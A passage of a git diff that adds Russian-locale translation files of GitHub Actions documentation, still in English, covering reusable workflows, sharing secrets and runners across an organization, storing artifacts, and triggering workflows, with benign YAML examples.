variables.product.prodname_dotcom %}-hosted runners from the called repository. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)." + +### Using self-hosted runners + +{% endif %} + +Called workflows that are owned by the same user or organization{% ifversion ghes or ghec or ghae %} or enterprise{% endif %} as the caller workflow can access self-hosted runners from the caller's context. This means that a called workflow can access self-hosted runners that are: +* In the caller repository +* In the caller repository's organization{% ifversion ghes or ghec or ghae %} or enterprise{% endif %}, provided that the runner has been made available to the caller repository + +## Limitations + +{% ifversion nested-reusable-workflow %} +* You can connect up to four levels of workflows. For more information, see "[Nesting reusable workflows](#nesting-reusable-workflows)." +{% else %} +* Reusable workflows can't call other reusable workflows. +{% endif %} +* Reusable workflows stored within a private repository can only be used by workflows within the same repository. +* Any environment variables set in an `env` context defined at the workflow level in the caller workflow are not propagated to the called workflow. For more information about the `env` context, see "[Context and expression syntax for GitHub Actions](/actions/reference/context-and-expression-syntax-for-github-actions#env-context)."{% ifversion actions-reusable-workflow-matrix %}{% else %} +* The `strategy` property is not supported in any job that calls a reusable workflow.{% endif %} + +## Creating a reusable workflow + +Reusable workflows are YAML-formatted files, very similar to any other workflow file. As with other workflow files, you locate reusable workflows in the `.github/workflows` directory of a repository. Subdirectories of the `workflows` directory are not supported. + +For a workflow to be reusable, the values for `on` must include `workflow_call`: + +```yaml +on: + workflow_call: +``` + +### Using inputs and secrets in a reusable workflow + +You can define inputs and secrets, which can be passed from the caller workflow and then used within the called workflow. There are three stages to using an input or a secret in a reusable workflow. + +1. In the reusable workflow, use the `inputs` and `secrets` keywords to define inputs or secrets that will be passed from a caller workflow. + {% raw %} + ```yaml + on: + workflow_call: + inputs: + config-path: + required: true + type: string + secrets: + envPAT: + required: true + ``` + {% endraw %} + For details of the syntax for defining inputs and secrets, see [`on.workflow_call.inputs`](/actions/reference/workflow-syntax-for-github-actions#onworkflow_callinputs) and [`on.workflow_call.secrets`](/actions/reference/workflow-syntax-for-github-actions#onworkflow_callsecrets). + {% ifversion actions-inherit-secrets-reusable-workflows %} +1. In the reusable workflow, reference the input or secret that you defined in the `on` key in the previous step. + + {% note %} + + **Note**: If the secrets are inherited by using `secrets: inherit` in the calling workflow, you can reference them even if they are not explicitly defined in the `on` key. For more information, see "[Workflow syntax for GitHub Actions](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsecretsinherit)." + + {% endnote %} + {%- else %} +1. In the reusable workflow, reference the input or secret that you defined in the `on` key in the previous step. + {%- endif %} + + {% raw %} + ```yaml + jobs: + reusable_workflow_job: + runs-on: ubuntu-latest + environment: production + steps: + - uses: actions/labeler@v4 + with: + repo-token: ${{ secrets.envPAT }} + configuration-path: ${{ inputs.config-path }} + ``` + {% endraw %} + In the example above, `envPAT` is an environment secret that's been added to the `production` environment. This environment is therefore referenced within the job. + + {% note %} + + **Note**: Environment secrets are encrypted strings that are stored in an environment that you've defined for a repository. Environment secrets are only available to workflow jobs that reference the appropriate environment. For more information, see "[Using environments for deployment](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-secrets)." + + {% endnote %} + +1. Pass the input or secret from the caller workflow. + +{% indented_data_reference reusables.actions.pass-inputs-to-reusable-workflows spaces=3 %} + +### Example reusable workflow + +This reusable workflow file named `workflow-B.yml` (we'll refer to this later in the [example caller workflow](#example-caller-workflow)) takes an input string and a secret from the caller workflow and uses them in an action. + +{% raw %} +```yaml{:copy} +name: Reusable workflow example + +on: + workflow_call: + inputs: + config-path: + required: true + type: string + secrets: + token: + required: true + +jobs: + triage: + runs-on: ubuntu-latest + steps: + - uses: actions/labeler@v4 + with: + repo-token: ${{ secrets.token }} + configuration-path: ${{ inputs.config-path }} +``` +{% endraw %} + +## Calling a reusable workflow + +You call a reusable workflow by using the `uses` keyword. Unlike when you are using actions within a workflow, you call reusable workflows directly within a job, and not from within job steps. + +[`jobs..uses`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_iduses) + +You reference reusable workflow files using {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}one of the following syntaxes:{% else %}the syntax:{% endif %} + +{% data reusables.actions.reusable-workflow-calling-syntax %} + +You can call multiple workflows, referencing each in a separate job. + +{% data reusables.actions.uses-keyword-example %} + +### Passing inputs and secrets to a reusable workflow + +{% data reusables.actions.pass-inputs-to-reusable-workflows%} + +{% ifversion actions-reusable-workflow-matrix %} +### Using a matrix strategy with a reusable workflow + +Jobs using the matrix strategy can call a reusable workflow. + +A matrix strategy lets you use variables in a single job definition to automatically create multiple job runs that are based on the combinations of the variables. For example, you can use a matrix strategy to pass different inputs to a reusable workflow. For more information about matrices, see "[Using a matrix for your jobs](/actions/using-jobs/using-a-matrix-for-your-jobs)." + +This example job below calls a reusable workflow and references the matrix context by defining the variable `target` with the values `[dev, stage, prod]`. It will run three jobs, one for each value in the variable. + +{% raw %} +```yaml{:copy} +jobs: + ReuseableMatrixJobForDeployment: + strategy: + matrix: + target: [dev, stage, prod] + uses: octocat/octo-repo/.github/workflows/deployment.yml@main + with: + target: ${{ matrix.target }} +``` +{% endraw %} +{% endif %} + +### Supported keywords for jobs that call a reusable workflow + +When you call a reusable workflow, you can only use the following keywords in the job containing the call: + +* [`jobs..name`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idname) +* [`jobs..uses`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_iduses) +* [`jobs..with`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idwith) +* [`jobs..with.`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idwithinput_id) +* [`jobs..secrets`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsecrets) +* [`jobs..secrets.`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsecretssecret_id) +{%- ifversion actions-inherit-secrets-reusable-workflows %} +* [`jobs..secrets.inherit`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsecretsinherit) +{%- endif %} +{%- ifversion actions-reusable-workflow-matrix %} +* [`jobs..strategy`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstrategy) +{%- endif %} +* [`jobs..needs`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds) +* [`jobs..if`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idif) +* [`jobs..permissions`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idpermissions) +* [`jobs..concurrency`](/actions/reference/workflow-syntax-for-github-actions#concurrency) + + {% note %} + + **Note:** + + * If `jobs..permissions` is not specified in the calling job, the called workflow will have the default permissions for the `GITHUB_TOKEN`. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." + * The `GITHUB_TOKEN` permissions passed from the caller workflow can be only downgraded (not elevated) by the called workflow. + + {% endnote %} + +### Example caller workflow + +This workflow file calls two workflow files. The second of these, `workflow-B.yml` (shown in the [example reusable workflow](#example-reusable-workflow)), is passed an input (`config-path`) and a secret (`token`). + +{% raw %} +```yaml{:copy} +name: Call a reusable workflow + +on: + pull_request: + branches: + - main + +jobs: + call-workflow: + uses: octo-org/example-repo/.github/workflows/workflow-A.yml@v1 + + call-workflow-passing-data: + permissions: + contents: read + pull-requests: write + uses: octo-org/example-repo/.github/workflows/workflow-B.yml@main + with: + config-path: .github/labeler.yml + secrets: + token: ${{ secrets.GITHUB_TOKEN }} +``` +{% endraw %} + +{% ifversion nested-reusable-workflow %} +## Nesting reusable workflows + +You can connect a maximum of four levels of workflows - that is, the top-level caller workflow and up to three levels of reusable workflows. For example: _caller-workflow.yml_ → _called-workflow-1.yml_ → _called-workflow-2.yml_ → _called-workflow-3.yml_. Loops in the workflow tree are not permitted. + +From within a reusable workflow you can call another reusable workflow. + +{% raw %} +```yaml{:copy} +name: Reusable workflow + +on: + workflow_call: + +jobs: + call-another-reusable: + uses: octo-org/example-repo/.github/workflows/another-reusable.yml@v1 +``` +{% endraw %} + +### Passing secrets to nested workflows + +You can use `jobs..secrets` in a calling workflow to pass named secrets to a directly called workflow. Alternatively, you can use `jobs..secrets.inherit` to pass all of the calling workflow's secrets to a directly called workflow. For more information, see the section "[Passing inputs and secrets to a reusable workflow](/actions/using-workflows/reusing-workflows#passing-inputs-and-secrets-to-a-reusable-workflow)" above, and the reference article "[Workflow syntax for GitHub Actions](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsecretsinherit)." Secrets are only passed to directly called workflow, so in the workflow chain A > B > C, workflow C will only receive secrets from A if they have been passed from A to B, and then from B to C. + +In the following example, workflow A passes all of its secrets to workflow B, by using the `inherit` keyword, but workflow B only passes one secret to workflow C. Any of the other secrets passed to workflow B are not available to workflow C. + +{% raw %} +```yaml +jobs: + workflowA-calls-workflowB: + uses: octo-org/example-repo/.github/workflows/B.yml@main + secrets: inherit # pass all secrets +``` + +```yaml +jobs: + workflowB-calls-workflowC: + uses: different-org/example-repo/.github/workflows/C.yml@main + secrets: + envPAT: ${{ secrets.envPAT }} # pass just this secret +``` +{% endraw %} + +### Access and permissions + +A workflow that contains nested reusable workflows will fail if any of the nested workflows is inaccessible to the initial caller workflow. For more information, see "[Access to reusable workflows](/actions/using-workflows/reusing-workflows#access-to-reusable-workflows)." + +`GITHUB_TOKEN` permissions can only be the same or more restrictive in nested workflows. For example, in the workflow chain A > B > C, if workflow A has `package: read` token permission, then B and C cannot have `package: write` permission. For more information, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)." + +For information on how to use the API to determine which workflow files were involved in a particular workflow run, see "[Monitoring which workflows are being used](#monitoring-which-workflows-are-being-used)." +{% endif %} + +## Using outputs from a reusable workflow + +A reusable workflow may generate data that you want to use in the caller workflow. To use these outputs, you must specify them as the outputs of the reusable workflow.{% ifversion actions-reusable-workflow-matrix %} + +If a reusable workflow that sets an output is executed with a matrix strategy, the output will be the output set by the last successful completing reusable workflow of the matrix which actually sets a value. +That means if the last successful completing reusable workflow sets an empty string for its output, and the second last successful completing reusable workflow sets an actual value for its output, the output will contain the value of the second last completing reusable workflow.{% endif %} + +The following reusable workflow has a single job containing two steps. In each of these steps we set a single word as the output: "hello" and "world." In the `outputs` section of the job, we map these step outputs to job outputs called: `output1` and `output2`. In the `on.workflow_call.outputs` section we then define two outputs for the workflow itself, one called `firstword` which we map to `output1`, and one called `secondword` which we map to `output2`. + +{% raw %} +```yaml{:copy} +name: Reusable workflow + +on: + workflow_call: + # Map the workflow outputs to job outputs + outputs: + firstword: + description: "The first output string" + value: ${{ jobs.example_job.outputs.output1 }} + secondword: + description: "The second output string" + value: ${{ jobs.example_job.outputs.output2 }} + +jobs: + example_job: + name: Generate output + runs-on: ubuntu-latest + # Map the job outputs to step outputs + outputs: + output1: ${{ steps.step1.outputs.firstword }} + output2: ${{ steps.step2.outputs.secondword }} + steps: + - id: step1{% endraw %} +{%- ifversion actions-save-state-set-output-envs %} + run: echo "firstword=hello" >> $GITHUB_OUTPUT +{%- else %} + run: echo "::set-output name=firstword::hello" +{%- endif %}{% raw %} + - id: step2{% endraw %} +{%- ifversion actions-save-state-set-output-envs %} + run: echo "secondword=world" >> $GITHUB_OUTPUT +{%- else %} + run: echo "::set-output name=secondword::world" +{%- endif %}{% raw %} +``` +{% endraw %} + +We can now use the outputs in the caller workflow, in the same way you would use the outputs from a job within the same workflow. We reference the outputs using the names defined at the workflow level in the reusable workflow: `firstword` and `secondword`. In this workflow, `job1` calls the reusable workflow and `job2` prints the outputs from the reusable workflow ("hello world") to standard output in the workflow log. + +{% raw %} +```yaml{:copy} +name: Call a reusable workflow and use its outputs + +on: + workflow_dispatch: + +jobs: + job1: + uses: octo-org/example-repo/.github/workflows/called-workflow.yml@v1 + + job2: + runs-on: ubuntu-latest + needs: job1 + steps: + - run: echo ${{ needs.job1.outputs.firstword }} ${{ needs.job1.outputs.secondword }} +``` +{% endraw %} + +For more information on using job outputs, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idoutputs)." + +## Monitoring which workflows are being used + +You can use the {% data variables.product.prodname_dotcom %} REST API to monitor how reusable workflows are being used. The `prepared_workflow_job` audit log action is triggered when a workflow job is started. Included in the data recorded are: +* `repo` - the organization/repository where the workflow job is located. For a job that calls another workflow, this is the organization/repository of the caller workflow. +* `@timestamp` - the date and time that the job was started, in Unix epoch format. +* `job_name` - the name of the job that was run. +{% ifversion nested-reusable-workflow %} +* `calling_workflow_refs` - an array of file paths for all the caller workflows involved in this workflow job. The items in the array are in the reverse order that they were called in. For example, in a chain of workflows A > B > C, when viewing the logs for a job in workflow C, the array would be `["octo-org/octo-repo/.github/workflows/B.yml", "octo-org/octo-repo/.github/workflows/A.yml"]`. +* `calling_workflow_shas` - an array of SHAs for all the caller workflows involved in this workflow job. The array contains the same number of items, in the same order, as the `calling_workflow_refs` array. {% endif %} +* `job_workflow_ref` - the workflow file that was used, in the form `{owner}/{repo}/{path}/{filename}@{ref}`. For a job that calls another workflow, this identifies the called workflow. + +For information about using the REST API to query the audit log for an organization, see "[Organizations](/rest/reference/orgs#get-the-audit-log-for-an-organization)." + +{% note %} + +**Note**: Audit data for `prepared_workflow_job` can only be viewed using the REST API. It is not visible in the {% data variables.product.prodname_dotcom %} web interface, or included in JSON/CSV exported audit data. + +{% endnote %} + +{% ifversion partial-reruns-with-reusable %} + +## Re-running workflows and jobs with reusable workflows + +{% data reusables.actions.partial-reruns-with-reusable %} + +{% endif %} + +## Next steps + +To continue learning about {% data variables.product.prodname_actions %}, see "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows)." + +{% ifversion restrict-groups-to-workflows %}You can standardize deployments by creating a self-hosted runner group that can only execute a specific reusable workflow. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."{% endif %} diff --git a/translations/ru-RU/content/actions/using-workflows/sharing-workflows-secrets-and-runners-with-your-organization.md b/translations/ru-RU/content/actions/using-workflows/sharing-workflows-secrets-and-runners-with-your-organization.md new file mode 100644 index 000000000000..6d5615231755 --- /dev/null +++ b/translations/ru-RU/content/actions/using-workflows/sharing-workflows-secrets-and-runners-with-your-organization.md @@ -0,0 +1,73 @@ +--- +title: 'Sharing workflows, secrets, and runners with your organization' +shortTitle: Share workflows with your organization +intro: 'Learn how you can use organization features to collaborate with your team, by sharing starter workflows, secrets, and self-hosted runners.' +redirect_from: + - /actions/learn-github-actions/sharing-workflows-with-your-organization + - /actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Overview + +If you need to share workflows and other {% data variables.product.prodname_actions %} features with your team, then consider collaborating within a {% data variables.product.prodname_dotcom %} organization. An organization allows you to centrally store and manage secrets, artifacts, and self-hosted runners. You can also create starter workflows in the `.github` repository and share them with other users in your organization. + +## Sharing {% ifversion internal-actions %}actions and {% endif %}workflows + +{% ifversion internal-actions %} +You can share both individual actions and entire workflows with your organization, with or without publishing the actions or workflows publicly. You can reuse actions and workflows exactly by referencing them in your workflow file, and you can create starter workflows that provide templates for new workflows. +{% else %} +Your organization can share workflows by reusing the workflows exactly or by creating starter workflows that provide templates for new workflows. +{% endif %} + +{% ifversion internal-actions %} +### Sharing actions with your enterprise + +{% data reusables.actions.internal-actions-summary %} +{% endif %} + +{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} +### Reusing workflows + +{% data reusables.actions.reusable-workflows %} +{% endif %} + +### Using starter workflows + +{% data reusables.actions.workflow-organization-templates %} For more information, see "[Creating starter workflows for your organization](/actions/using-workflows/creating-starter-workflows-for-your-organization)." + +## Sharing secrets within an organization + +You can centrally manage your secrets within an organization, and then make them available to selected repositories. This also means that you can update a secret in one location, and have the change apply to all repository workflows that use the secret. + +When creating a secret in an organization, you can use a policy to limit which repositories can access that secret. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories. + +{% data reusables.actions.permissions-statement-secrets-organization %} + +{% data reusables.organizations.navigate-to-org %} +{% data reusables.organizations.org_settings %} +{% data reusables.actions.sidebar-secret %} +1. Click **New secret**. +1. Type a name for your secret in the **Name** input box. +1. Enter the **Value** for your secret. +1. From the **Repository access** dropdown list, choose an access policy. +1. Click **Add secret**. + +## Share self-hosted runners within an organization + +Organization admins can add their self-hosted runners to groups, and then create policies that control which repositories can access the group. + +For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)." + + +## Next steps + +To continue learning about {% data variables.product.prodname_actions %}, see "[Creating starter workflows for your organization](/actions/using-workflows/creating-starter-workflows-for-your-organization)." diff --git a/translations/ru-RU/content/actions/using-workflows/storing-workflow-data-as-artifacts.md b/translations/ru-RU/content/actions/using-workflows/storing-workflow-data-as-artifacts.md new file mode 100644 index 000000000000..0be100e2ea2b --- /dev/null +++ b/translations/ru-RU/content/actions/using-workflows/storing-workflow-data-as-artifacts.md @@ -0,0 +1,260 @@ +--- +title: Storing workflow data as artifacts +shortTitle: Store artifacts +intro: Artifacts allow you to share data between jobs in a workflow and store data once that workflow has completed. +redirect_from: + - /articles/persisting-workflow-data-using-artifacts + - /github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts + - /actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts + - /actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts + - /actions/guides/storing-workflow-data-as-artifacts + - /actions/advanced-guides/storing-workflow-data-as-artifacts +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Workflows +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About workflow artifacts + +Artifacts allow you to persist data after a job has completed, and share that data with another job in the same workflow. An artifact is a file or collection of files produced during a workflow run. For example, you can use artifacts to save your build and test output after a workflow run has ended. {% data reusables.actions.reusable-workflow-artifacts %} + +{% data reusables.actions.artifact-log-retention-statement %} The retention period for a pull request restarts each time someone pushes a new commit to the pull request. + +These are some of the common artifacts that you can upload: + +- Log files and core dumps +- Test results, failures, and screenshots +- Binary or compressed files +- Stress test performance output and code coverage results + +{% ifversion fpt or ghec %} + +Storing artifacts uses storage space on {% data variables.product.product_name %}. {% data reusables.actions.actions-billing %} For more information, see "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)." + +{% else %} + +Artifacts consume storage space on the external blob storage that is configured for {% data variables.product.prodname_actions %} on {% data variables.location.product_location %}. + +{% endif %} + +Artifacts are uploaded during a workflow run, and you can view an artifact's name and size in the UI. When an artifact is downloaded using the {% data variables.product.product_name %} UI, all files that were individually uploaded as part of the artifact get zipped together into a single file. This means that billing is calculated based on the size of the uploaded artifact and not the size of the zip file. + +{% data variables.product.product_name %} provides two actions that you can use to upload and download build artifacts. For more information, see the {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) and [download-artifact](https://github.com/actions/download-artifact) actions{% else %} `actions/upload-artifact` and `download-artifact` actions on {% data variables.location.product_location %}{% endif %}. + +To share data between jobs: + +* **Uploading files**: Give the uploaded file a name and upload the data before the job ends. +* **Downloading files**: You can only download artifacts that were uploaded during the same workflow run. When you download a file, you can reference it by name. + +The steps of a job share the same environment on the runner machine, but run in their own individual processes. To pass data between steps in a job, you can use inputs and outputs. For more information about inputs and outputs, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions)." + +{% ifversion actions-caching %} + +{% data reusables.actions.comparing-artifacts-caching %} + +For more information on dependency caching, see "[Caching dependencies to speed up workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows#comparing-artifacts-and-dependency-caching)." + +{% endif %} + +## Uploading build and test artifacts + +You can create a continuous integration (CI) workflow to build and test your code. For more information about using {% data variables.product.prodname_actions %} to perform CI, see "[About continuous integration](/articles/about-continuous-integration)." + +The output of building and testing your code often produces files you can use to debug test failures and production code that you can deploy. You can configure a workflow to build and test the code pushed to your repository and report a success or failure status. You can upload the build and test output to use for deployments, debugging failed tests or crashes, and viewing test suite coverage. + +You can use the `upload-artifact` action to upload artifacts. When uploading an artifact, you can specify a single file or directory, or multiple files or directories. You can also exclude certain files or directories, and use wildcard patterns. We recommend that you provide a name for an artifact, but if no name is provided then `artifact` will be used as the default name. For more information on syntax, see the {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) action{% else %} `actions/upload-artifact` action on {% data variables.location.product_location %}{% endif %}. + +### Example + +For example, your repository or a web application might contain SASS and TypeScript files that you must convert to CSS and JavaScript. Assuming your build configuration outputs the compiled files in the `dist` directory, you would deploy the files in the `dist` directory to your web application server if all tests completed successfully. + +``` +|-- hello-world (repository) +| └── dist +| └── tests +| └── src +| └── sass/app.scss +| └── app.ts +| └── output +| └── test +| +``` + +This example shows you how to create a workflow for a Node.js project that builds the code in the `src` directory and runs the tests in the `tests` directory. You can assume that running `npm test` produces a code coverage report named `code-coverage.html` stored in the `output/test/` directory. + +The workflow uploads the production artifacts in the `dist` directory, but excludes any markdown files. It also uploads the `code-coverage.html` report as another artifact. + +```yaml{:copy} +name: Node CI + +on: [push] + +jobs: + build_and_test: + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: {% data reusables.actions.action-checkout %} + - name: npm install, build, and test + run: | + npm install + npm run build --if-present + npm test + - name: Archive production artifacts + uses: {% data reusables.actions.action-upload-artifact %} + with: + name: dist-without-markdown + path: | + dist + !dist/**/*.md + - name: Archive code coverage results + uses: {% data reusables.actions.action-upload-artifact %} + with: + name: code-coverage-report + path: output/test/code-coverage.html +``` + +## Configuring a custom artifact retention period + +You can define a custom retention period for individual artifacts created by a workflow. When using a workflow to create a new artifact, you can use `retention-days` with the `upload-artifact` action. This example demonstrates how to set a custom retention period of 5 days for the artifact named `my-artifact`: + +```yaml{:copy} + - name: 'Upload Artifact' + uses: {% data reusables.actions.action-upload-artifact %} + with: + name: my-artifact + path: my_file.txt + retention-days: 5 +``` + +The `retention-days` value cannot exceed the retention limit set by the repository, organization, or enterprise. + +## Downloading or deleting artifacts + +During a workflow run, you can use the [`download-artifact`](https://github.com/actions/download-artifact) action to download artifacts that were previously uploaded in the same workflow run. + +After a workflow run has been completed, you can download or delete artifacts on {% data variables.product.prodname_dotcom %} or using the REST API. For more information, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)," "[Removing workflow artifacts](/actions/managing-workflow-runs/removing-workflow-artifacts)," and the "[Artifacts REST API](/rest/reference/actions#artifacts)." + +### Downloading artifacts during a workflow run + +The [`actions/download-artifact`](https://github.com/actions/download-artifact) action can be used to download previously uploaded artifacts during a workflow run. + +{% note %} + +**Note:** You can only download artifacts in a workflow that were uploaded during the same workflow run. + +{% endnote %} + +Specify an artifact's name to download an individual artifact. If you uploaded an artifact without specifying a name, the default name is `artifact`. + +```yaml +- name: Download a single artifact + uses: {% data reusables.actions.action-download-artifact %} + with: + name: my-artifact +``` + +You can also download all artifacts in a workflow run by not specifying a name. This can be useful if you are working with lots of artifacts. + +```yaml +- name: Download all workflow run artifacts + uses: {% data reusables.actions.action-download-artifact %} +``` + +If you download all workflow run's artifacts, a directory for each artifact is created using its name. + +For more information on syntax, see the {% ifversion fpt or ghec %}[actions/download-artifact](https://github.com/actions/download-artifact) action{% else %} `actions/download-artifact` action on {% data variables.location.product_location %}{% endif %}. + +## Passing data between jobs in a workflow + +You can use the `upload-artifact` and `download-artifact` actions to share data between jobs in a workflow. This example workflow illustrates how to pass data between jobs in the same workflow. For more information, see the {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) and [download-artifact](https://github.com/actions/download-artifact) actions{% else %} `actions/upload-artifact` and `download-artifact` actions on {% data variables.location.product_location %}{% endif %}. + +Jobs that are dependent on a previous job's artifacts must wait for the dependent job to complete successfully. This workflow uses the `needs` keyword to ensure that `job_1`, `job_2`, and `job_3` run sequentially. For example, `job_2` requires `job_1` using the `needs: job_1` syntax. + +Job 1 performs these steps: +- Performs a math calculation and saves the result to a text file called `math-homework.txt`. +- Uses the `upload-artifact` action to upload the `math-homework.txt` file with the artifact name `homework`. + +Job 2 uses the result in the previous job: +- Downloads the `homework` artifact uploaded in the previous job. By default, the `download-artifact` action downloads artifacts to the workspace directory that the step is executing in. You can use the `path` input parameter to specify a different download directory. +- Reads the value in the `math-homework.txt` file, performs a math calculation, and saves the result to `math-homework.txt` again, overwriting its contents. +- Uploads the `math-homework.txt` file. This upload overwrites the previously uploaded artifact because they share the same name. + +Job 3 displays the result uploaded in the previous job: +- Downloads the `homework` artifact. +- Prints the result of the math equation to the log. + +The full math operation performed in this workflow example is `(3 + 7) x 9 = 90`. + +```yaml{:copy} +name: Share data between jobs + +on: [push] + +jobs: + job_1: + name: Add 3 and 7 + runs-on: ubuntu-latest + steps: + - shell: bash + run: | + expr 3 + 7 > math-homework.txt + - name: Upload math result for job 1 + uses: {% data reusables.actions.action-upload-artifact %} + with: + name: homework + path: math-homework.txt + + job_2: + name: Multiply by 9 + needs: job_1 + runs-on: windows-latest + steps: + - name: Download math result for job 1 + uses: {% data reusables.actions.action-download-artifact %} + with: + name: homework + - shell: bash + run: | + value=`cat math-homework.txt` + expr $value \* 9 > math-homework.txt + - name: Upload math result for job 2 + uses: {% data reusables.actions.action-upload-artifact %} + with: + name: homework + path: math-homework.txt + + job_3: + name: Display results + needs: job_2 + runs-on: macOS-latest + steps: + - name: Download math result for job 2 + uses: {% data reusables.actions.action-download-artifact %} + with: + name: homework + - name: Print the final result + shell: bash + run: | + value=`cat math-homework.txt` + echo The result is $value +``` + +The workflow run will archive any artifacts that it generated. For more information on downloading archived artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)." +![Workflow that passes data between jobs to perform math](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png) + +{% ifversion fpt or ghec %} + +## Further reading + +- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)". + +{% endif %} diff --git a/translations/ru-RU/content/actions/using-workflows/triggering-a-workflow.md b/translations/ru-RU/content/actions/using-workflows/triggering-a-workflow.md new file mode 100644 index 000000000000..8e4adb430f9c --- /dev/null +++ b/translations/ru-RU/content/actions/using-workflows/triggering-a-workflow.md @@ -0,0 +1,276 @@ +--- +title: Triggering a workflow +shortTitle: Trigger a workflow +intro: 'How to automatically trigger {% data variables.product.prodname_actions %} workflows' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Workflows + - CI + - CD +miniTocMaxHeadingLevel: 3 +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About workflow triggers + +{% data reusables.actions.about-triggers %} + +Workflow triggers are defined with the `on` key. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#on)." + +The following steps occur to trigger a workflow run: + +1. An event occurs on your repository. The event has an associated commit SHA and Git ref. +1. {% data variables.product.product_name %} searches the `.github/workflows` directory in your repository for workflow files that are present in the associated commit SHA or Git ref of the event. +1. A workflow run is triggered for any workflows that have `on:` values that match the triggering event. Some events also require the workflow file to be present on the default branch of the repository in order to run. + + Each workflow run will use the version of the workflow that is present in the associated commit SHA or Git ref of the event. When a workflow runs, {% data variables.product.product_name %} sets the `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (Git ref) environment variables in the runner environment. For more information, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)." + +### Triggering a workflow from a workflow + +{% data reusables.actions.actions-do-not-trigger-workflows %} For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)." + +If you do want to trigger a workflow from within a workflow run, you can use a {% data variables.product.pat_generic %} instead of `GITHUB_TOKEN` to trigger events that require a token. You'll need to create a {% data variables.product.pat_generic %} and store it as a secret. To minimize your {% data variables.product.prodname_actions %} usage costs, ensure that you don't create recursive or unintended workflow runs. For more information about creating a {% data variables.product.pat_generic %}, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." For more information about storing a {% data variables.product.pat_generic %} as a secret, see "[Creating and storing encrypted secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)." + +For example, the following workflow uses a {% data variables.product.pat_generic %} (stored as a secret called `MY_TOKEN`) to add a label to an issue via {% data variables.product.prodname_cli %}. Any workflows that run when a label is added will run once this step is performed. + +```yaml +on: + issues: + types: + - opened + +jobs: + label_issue: + runs-on: ubuntu-latest + steps: + - env: + GITHUB_TOKEN: {% raw %}${{ secrets.MY_TOKEN }}{% endraw %} + ISSUE_URL: {% raw %}${{ github.event.issue.html_url }}{% endraw %} + run: | + gh issue edit $ISSUE_URL --add-label "triage" +``` + +Conversely, the following workflow uses `GITHUB_TOKEN` to add a label to an issue. It will not trigger any workflows that run when a label is added. + +```yaml +on: + issues: + types: + - opened + +jobs: + label_issue: + runs-on: ubuntu-latest + steps: + - env: + GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + ISSUE_URL: {% raw %}${{ github.event.issue.html_url }}{% endraw %} + run: | + gh issue edit $ISSUE_URL --add-label "triage" +``` + +## Using events to trigger workflows + +Use the `on` key to specify what events trigger your workflow. For more information about events you can use, see "[Events that trigger workflows](/actions/using-workflows/events-that-trigger-workflows)." + +### Using a single event + +{% data reusables.actions.on-single-example %} + +### Using multiple events + +{% data reusables.actions.on-multiple-example %} 